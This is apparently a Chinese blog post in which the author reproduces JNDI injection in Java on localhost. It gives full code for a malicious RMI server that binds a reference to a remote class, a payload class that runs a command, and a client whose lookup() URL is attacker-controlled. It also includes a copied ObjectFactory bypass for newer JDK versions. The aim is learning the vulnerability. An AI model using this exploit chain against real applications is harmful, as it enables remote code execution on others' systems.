初步学习JDNI注入

最近学习java安全,JDNI注入必需了解,进行初步的学习

首先JNDI注入对JAVA版本是有限限制的,本地是1.8.0_2.0.1超过了191,所以最开始拿符合版本方法复现没有成功

java版本查看

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

 

 

 

符合版本的JNDI注入复现方法:

实现一个RMI服务

package Server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//恶意RMi服务
public class RmiDemo {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //注册RMi服务
        Registry registry = LocateRegistry.createRegistry(7778);
        //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置
        Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");
        //把 Reference对象封装成远程对象
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp",referenceWrapper);
    }
}

创建恶意类

public class exp {
    public exp() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
} 

实现被攻击端访问RMI服务,JDNI注入核心问题是这里的lookup()参数可控,访问恶意的 url   

package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        //模拟被攻击端参数可控
        String url = "rmi://127.0.0.1:7778/exp";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }

}

 编译恶意类并开启远程http服务,,让RMI可以远程引用恶意类,这里的IP和8888端口对应  Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");

但是最后运行RMI Server,再运行Client无法实现命令执行

原本想换个JDK版本,但又看到了网上大佬绕过版本限制的文章,这里copy过来修改一下,最后可以成功

修改后的恶意类和RMI服务

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
//恶意类
public class PayloadObjectFactory implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        return 1;
    }
}
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//恶意RMi服务
public class RmiDemo {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //注册RMi服务
        Registry registry = LocateRegistry.createRegistry(7778);
        //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置
        Reference reference = new Reference("aaa", "PayloadObjectFactory", null);
        //把 Reference对象封装成远程对象
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp",referenceWrapper);
    }
}

  最终成功命令执行弹出计算器

 

 参考链接:

https://xz.aliyun.com/t/14566

https://xz.aliyun.com/t/12277

 

 

posted @ 2024-07-19 12:03  白云之东  阅读(2)  评论(0编辑  收藏  举报